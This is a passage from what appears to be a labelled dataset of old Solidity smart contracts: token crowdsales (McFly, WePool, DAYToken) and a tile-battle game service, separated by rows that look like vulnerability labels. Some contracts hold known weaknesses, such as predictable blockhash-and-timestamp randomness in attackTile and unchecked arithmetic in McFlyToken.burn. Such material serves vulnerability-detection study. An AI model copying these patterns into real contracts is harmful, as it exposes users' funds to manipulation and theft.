balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "DAYToken";
string constant TOKEN_SYMBOL = "DAYT";
bool constant PAUSED = false;
address constant TARGET_USER = 0xA8eBce443fdDd76cC1AB018D96B4F5E3b629f1E6;
uint constant START_TIME = 1519858800;
bool constant CONTINUE_MINTING = false;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
if (PAUSED) {
pause();
}
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 0 | 828 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract McFlyToken is MintableToken {
string public constant name = 'McFly';
string public constant symbol = 'MFL';
uint8 public constant decimals = 18;
mapping(address=>bool) whitelist;
event Burn(address indexed from, uint256 value);
event AllowTransfer(address from);
modifier canTransfer() {
require(mintingFinished || whitelist[msg.sender]);
_;
}
function allowTransfer(address from) onlyOwner {
AllowTransfer(from);
whitelist[from] = true;
}
function transferFrom(address from, address to, uint256 value) canTransfer returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) canTransfer returns (bool) {
return super.transfer(to, value);
}
function burn(address from) onlyOwner returns (bool) {
Transfer(from, 0x0, balances[from]);
Burn(from, balances[from]);
balances[0x0] += balances[from];
balances[from] = 0;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract Haltable is MultiOwners {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract McFlyCrowdsale is MultiOwners, Haltable {
using SafeMath for uint256;
uint256 public minimalWeiTLP1 = 1e17;
uint256 public priceTLP1 = 1e14;
uint256 public minimalWeiTLP2 = 2e17;
uint256 public priceTLP2 = 2e14;
uint256 public totalETH;
McFlyToken public token;
address public wallet;
uint256 public startTimeTLP1;
uint256 public endTimeTLP1;
uint256 daysTLP1 = 12 days;
uint256 public startTimeTLP2;
uint256 public endTimeTLP2;
uint256 daysTLP2 = 24 days;
uint256 fundPercents = 15;
uint256 teamPercents = 10;
uint256 reservedPercents = 10;
uint256 bountyOnlinePercents = 2;
uint256 bountyOfflinePercents = 3;
uint256 advisoryPercents = 5;
uint256 public hardCapInTokens = 1800e24;
uint256 public mintCapInTokens = hardCapInTokens.mul(70).div(100);
uint256 public fundTokens = hardCapInTokens.mul(fundPercents).div(100);
uint256 public fundTotalSupply;
address public fundMintingAgent;
uint256 public wavesTokens = 100e24;
address public wavesAgent;
uint256 teamVestingPeriodInSeconds = 31 days;
uint256 teamVestingPeriodsCount = 12;
uint256 _teamTokens;
uint256 public teamTotalSupply;
address public teamWallet;
uint256 _bountyOnlineTokens;
address public bountyOnlineWallet;
uint256 _bountyOfflineTokens;
address public bountyOfflineWallet;
uint256 _advisoryTokens;
address public advisoryWallet;
uint256 _reservedTokens;
address public reservedWallet;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TransferOddEther(address indexed beneficiary, uint256 value);
event FundMinting(address indexed beneficiary, uint256 value);
event TeamVesting(address indexed beneficiary, uint256 period, uint256 value);
event SetFundMintingAgent(address new_agent);
event SetStartTimeTLP1(uint256 new_startTimeTLP1);
event SetStartTimeTLP2(uint256 new_startTimeTLP2);
modifier validPurchase() {
bool nonZeroPurchase = msg.value != 0;
require(withinPeriod() && nonZeroPurchase);
_;
}
function McFlyCrowdsale(
uint256 _startTimeTLP1,
uint256 _startTimeTLP2,
address _wallet,
address _wavesAgent,
address _fundMintingAgent,
address _teamWallet,
address _bountyOnlineWallet,
address _bountyOfflineWallet,
address _advisoryWallet,
address _reservedWallet
) {
require(_startTimeTLP1 >= block.timestamp);
require(_startTimeTLP2 > _startTimeTLP1);
require(_wallet != 0x0);
require(_wavesAgent != 0x0);
require(_fundMintingAgent != 0x0);
require(_teamWallet != 0x0);
require(_bountyOnlineWallet != 0x0);
require(_bountyOfflineWallet != 0x0);
require(_advisoryWallet != 0x0);
require(_reservedWallet != 0x0);
token = new McFlyToken();
startTimeTLP1 = _startTimeTLP1;
endTimeTLP1 = startTimeTLP1.add(daysTLP1);
require(endTimeTLP1 < _startTimeTLP2);
startTimeTLP2 = _startTimeTLP2;
endTimeTLP2 = startTimeTLP2.add(daysTLP2);
wavesAgent = _wavesAgent;
fundMintingAgent = _fundMintingAgent;
wallet = _wallet;
teamWallet = _teamWallet;
bountyOnlineWallet = _bountyOnlineWallet;
bountyOfflineWallet = _bountyOfflineWallet;
advisoryWallet = _advisoryWallet;
reservedWallet = _reservedWallet;
totalETH = wavesTokens.mul(priceTLP1.mul(65).div(100)).div(1e18);
token.mint(wavesAgent, wavesTokens);
token.allowTransfer(wavesAgent);
}
function withinPeriod() constant public returns (bool) {
bool withinPeriodTLP1 = (now >= startTimeTLP1 && now <= endTimeTLP1);
bool withinPeriodTLP2 = (now >= startTimeTLP2 && now <= endTimeTLP2);
return withinPeriodTLP1 || withinPeriodTLP2;
}
function running() constant public returns (bool) {
return withinPeriod() && !token.mintingFinished();
}
function teamTokens() constant public returns (uint256) {
if(_teamTokens > 0) {
return _teamTokens;
}
return token.totalSupply().mul(teamPercents).div(70);
}
function bountyOnlineTokens() constant public returns (uint256) {
if(_bountyOnlineTokens > 0) {
return _bountyOnlineTokens;
}
return token.totalSupply().mul(bountyOnlinePercents).div(70);
}
function bountyOfflineTokens() constant public returns (uint256) {
if(_bountyOfflineTokens > 0) {
return _bountyOfflineTokens;
}
return token.totalSupply().mul(bountyOfflinePercents).div(70);
}
function advisoryTokens() constant public returns (uint256) {
if(_advisoryTokens > 0) {
return _advisoryTokens;
}
return token.totalSupply().mul(advisoryPercents).div(70);
}
function reservedTokens() constant public returns (uint256) {
if(_reservedTokens > 0) {
return _reservedTokens;
}
return token.totalSupply().mul(reservedPercents).div(70);
}
function stageName() constant public returns (string) {
bool beforePeriodTLP1 = (now < startTimeTLP1);
bool withinPeriodTLP1 = (now >= startTimeTLP1 && now <= endTimeTLP1);
bool betweenPeriodTLP1andTLP2 = (now >= endTimeTLP1 && now <= startTimeTLP2);
bool withinPeriodTLP2 = (now >= startTimeTLP2 && now <= endTimeTLP2);
if(beforePeriodTLP1) {
return 'Not started';
}
if(withinPeriodTLP1) {
return 'TLP1.1';
}
if(betweenPeriodTLP1andTLP2) {
return 'Between TLP1.1 and TLP1.2';
}
if(withinPeriodTLP2) {
return 'TLP1.2';
}
return 'Finished';
}
function() payable {
return buyTokens(msg.sender);
}
function setFundMintingAgent(address agent) onlyOwner {
fundMintingAgent = agent;
SetFundMintingAgent(agent);
}
function setStartTimeTLP2(uint256 _at) onlyOwner {
require(block.timestamp < startTimeTLP2);
require(block.timestamp < _at);
require(endTimeTLP1 < _at);
startTimeTLP2 = _at;
endTimeTLP2 = startTimeTLP2.add(daysTLP2);
SetStartTimeTLP2(_at);
}
function setStartTimeTLP1(uint256 _at) onlyOwner {
require(block.timestamp < startTimeTLP1);
require(block.timestamp < _at);
startTimeTLP1 = _at;
endTimeTLP1 = startTimeTLP1.add(daysTLP1);
SetStartTimeTLP1(_at);
}
function fundMinting(address to, uint256 amount) stopInEmergency {
require(msg.sender == fundMintingAgent || isOwner());
require(block.timestamp <= startTimeTLP2);
require(fundTotalSupply + amount <= fundTokens);
require(token.totalSupply() + amount <= mintCapInTokens);
fundTotalSupply = fundTotalSupply.add(amount);
FundMinting(to, amount);
token.mint(to, amount);
}
function calcAmountAt(
uint256 amount,
uint256 at,
uint256 _totalSupply
) public constant returns (uint256, uint256) {
uint256 estimate;
uint256 discount;
uint256 price;
if(at >= startTimeTLP1 && at <= endTimeTLP1) {
require(amount >= minimalWeiTLP1);
price = priceTLP1;
if(at < startTimeTLP1 + 3 days) {
discount = 65;
} else if(at < startTimeTLP1 + 6 days) {
discount = 70;
} else if(at < startTimeTLP1 + 9 days) {
discount = 85;
} else if(at < startTimeTLP1 + 12 days) {
discount = 100;
} else {
revert();
}
} else if(at >= startTimeTLP2 && at <= endTimeTLP2) {
require(amount >= minimalWeiTLP2);
price = priceTLP2;
if(at < startTimeTLP2 + 3 days) {
discount = 60;
} else if(at < startTimeTLP2 + 6 days) {
discount = 70;
} else if(at < startTimeTLP2 + 9 days) {
discount = 80;
} else if(at < startTimeTLP2 + 12 days) {
discount = 90;
} else if(at < startTimeTLP2 + 15 days) {
discount = 100;
} else if(at < startTimeTLP2 + 18 days) {
discount = 110;
} else if(at < startTimeTLP2 + 21 days) {
discount = 120;
} else if(at < startTimeTLP2 + 24 days) {
discount = 130;
} else {
revert();
}
} else {
revert();
}
price = price.mul(discount).div(100);
estimate = _totalSupply.add(amount.mul(1e18).div(price));
if(estimate > mintCapInTokens) {
return (
mintCapInTokens.sub(_totalSupply),
estimate.sub(mintCapInTokens).mul(price).div(1e18)
);
}
return (estimate.sub(_totalSupply), 0);
}
function buyTokens(address contributor) payable stopInEmergency validPurchase public {
uint256 amount;
uint256 odd_ethers;
uint256 ethers;
(amount, odd_ethers) = calcAmountAt(msg.value, block.timestamp, token.totalSupply());
require(contributor != 0x0) ;
require(amount + token.totalSupply() <= mintCapInTokens);
ethers = (msg.value - odd_ethers);
token.mint(contributor, amount);
TokenPurchase(contributor, ethers, amount);
totalETH += ethers;
if(odd_ethers > 0) {
require(odd_ethers < msg.value);
TransferOddEther(contributor, odd_ethers);
contributor.transfer(odd_ethers);
}
wallet.transfer(ethers);
}
function teamWithdraw() public {
require(token.mintingFinished());
require(msg.sender == teamWallet || isOwner());
uint256 currentPeriod = (block.timestamp).sub(endTimeTLP2).div(teamVestingPeriodInSeconds);
if(currentPeriod > teamVestingPeriodsCount) {
currentPeriod = teamVestingPeriodsCount;
}
uint256 tokenAvailable = _teamTokens.mul(currentPeriod).div(teamVestingPeriodsCount).sub(teamTotalSupply);
require(teamTotalSupply + tokenAvailable <= _teamTokens);
teamTotalSupply = teamTotalSupply.add(tokenAvailable);
TeamVesting(teamWallet, currentPeriod, tokenAvailable);
token.transfer(teamWallet, tokenAvailable);
}
function finishCrowdsale() onlyOwner public {
require(now > endTimeTLP2 || mintCapInTokens == token.totalSupply());
require(!token.mintingFinished());
uint256 _totalSupply = token.totalSupply();
_teamTokens = _totalSupply.mul(teamPercents).div(70);
token.mint(this, _teamTokens);
_reservedTokens = _totalSupply.mul(reservedPercents).div(70);
token.mint(reservedWallet, _reservedTokens);
_advisoryTokens = _totalSupply.mul(advisoryPercents).div(70);
token.mint(advisoryWallet, _advisoryTokens);
_bountyOfflineTokens = _totalSupply.mul(bountyOfflinePercents).div(70);
token.mint(bountyOfflineWallet, _bountyOfflineTokens);
_bountyOnlineTokens = _totalSupply.mul(bountyOnlinePercents).div(70);
token.mint(bountyOnlineWallet, _bountyOnlineTokens);
token.finishMinting();
}
}
| 0 | 455 |
pragma solidity 0.4.19;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract WePoolToken is BurnableToken {
string public constant name = "WePool";
string public constant symbol = "WPL";
uint32 public constant decimals = 18;
function WePoolToken() public {
totalSupply = 200000000 * 1E18;
balances[owner] = totalSupply;
}
}
contract WePoolCrowdsale is Ownable {
using SafeMath for uint256;
uint256 public hardCap;
uint256 public reserved;
uint256 public tokensSold;
uint256 public weiRaised;
uint256 public minPurchase;
uint256 public preIcoRate;
uint256 public icoRate;
address public wallet;
address public tokenWallet;
uint256 public icoStartTime;
uint256 public preIcoStartTime;
address[] public investorsArray;
mapping (address => uint256) public investors;
WePoolToken public token;
modifier icoEnded() {
require(now > (icoStartTime + 30 days));
_;
}
function WePoolCrowdsale(uint256 _preIcoStartTime, uint256 _icoStartTime) public {
require(_preIcoStartTime > now);
require(_icoStartTime > _preIcoStartTime + 7 days);
preIcoStartTime = _preIcoStartTime;
icoStartTime = _icoStartTime;
minPurchase = 0.1 ether;
preIcoRate = 0.00008 ether;
icoRate = 0.0001 ether;
hardCap = 200000000 * 1E18;
token = new WePoolToken();
reserved = hardCap.mul(35).div(100);
hardCap = hardCap.sub(reserved);
wallet = owner;
tokenWallet = owner;
}
function changeWallet(address newWallet) public onlyOwner {
require(newWallet != address(0));
wallet = newWallet;
}
function changeTokenWallet(address newAddress) public onlyOwner {
require(newAddress != address(0));
tokenWallet = newAddress;
}
function changePreIcoRate(uint256 newRate) public onlyOwner {
require(newRate > 0);
preIcoRate = newRate;
}
function changeIcoRate(uint256 newRate) public onlyOwner {
require(newRate > 0);
icoRate = newRate;
}
function changePreIcoStartTime(uint256 newTime) public onlyOwner {
require(now < preIcoStartTime);
require(newTime > now);
require(icoStartTime > newTime + 7 days);
preIcoStartTime = newTime;
}
function changeIcoStartTime(uint256 newTime) public onlyOwner {
require(now < icoStartTime);
require(newTime > now);
require(newTime > preIcoStartTime + 7 days);
icoStartTime = newTime;
}
function burnUnsoldTokens() public onlyOwner icoEnded {
token.burn(token.balanceOf(this));
}
function withdrawal() public onlyOwner icoEnded {
wallet.transfer(this.balance);
}
function getReservedTokens() public onlyOwner icoEnded {
require(reserved > 0);
uint256 amount = reserved;
reserved = 0;
token.transfer(tokenWallet, amount);
}
function() public payable {
buyTokens();
}
function buyTokens() public payable {
address inv = msg.sender;
uint256 weiAmount = msg.value;
require(weiAmount >= minPurchase);
uint256 rate;
uint256 tokens;
uint256 cleanWei;
uint256 change;
if (now > preIcoStartTime && now < (preIcoStartTime + 7 days)) {
rate = preIcoRate;
} else if (now > icoStartTime && now < (icoStartTime + 30 days)) {
rate = icoRate;
}
require(rate > 0);
tokens = (weiAmount.mul(1E18)).div(rate);
if (tokensSold.add(tokens) > hardCap) {
tokens = hardCap.sub(tokensSold);
cleanWei = tokens.mul(rate).div(1E18);
change = weiAmount.sub(cleanWei);
} else {
cleanWei = weiAmount;
}
if (investors[inv] == 0) {
investorsArray.push(inv);
investors[inv] = tokens;
} else {
investors[inv] = investors[inv].add(tokens);
}
tokensSold = tokensSold.add(tokens);
weiRaised = weiRaised.add(cleanWei);
token.transfer(inv, tokens);
if (change > 0) {
inv.transfer(change);
}
}
function getInvestorsLength() public view returns(uint256) {
return investorsArray.length;
}
}
| 1 | 2,523 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 20;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount / tileCount;
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
uint balance = address(this).balance;
require(balance + _fortifyAmount > balance);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount / tileCount;
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue + _fortifyAmount;
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
seed = uint(keccak256(keccak256(blockhash(block.number), seed), now));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue, bool _autoFortify) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
uint totalAttackAmount = _attackAmount + attackBoost;
uint totalDefendAmount = blockValue + defendBoost;
require(totalAttackAmount >= _attackAmount);
require(totalDefendAmount >= blockValue);
require(totalAttackAmount + totalDefendAmount > totalAttackAmount && totalAttackAmount + totalDefendAmount > totalDefendAmount);
require(totalAttackAmount / 10 <= blockValue);
require(totalAttackAmount >= blockValue / 10);
uint attackRoll = random(totalAttackAmount + totalDefendAmount);
if (attackRoll > totalDefendAmount) {
emit TileAttackedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
subUserBattleValue(_msgSender, _attackAmount, false);
} else {
}
} else {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
} else {
addUserBattleValue(_msgSender, _attackAmount);
}
}
} else {
if (_useBattleValue) {
subUserBattleValue(_msgSender, _attackAmount, false);
}
addUserBattleValue(claimer, _attackAmount);
emit TileDefendedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.updateTileTimeStamp(_tileId);
}
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(sourceTileBlockValue - _moveAmount < sourceTileBlockValue);
require(destTileBlockValue + _moveAmount > destTileBlockValue);
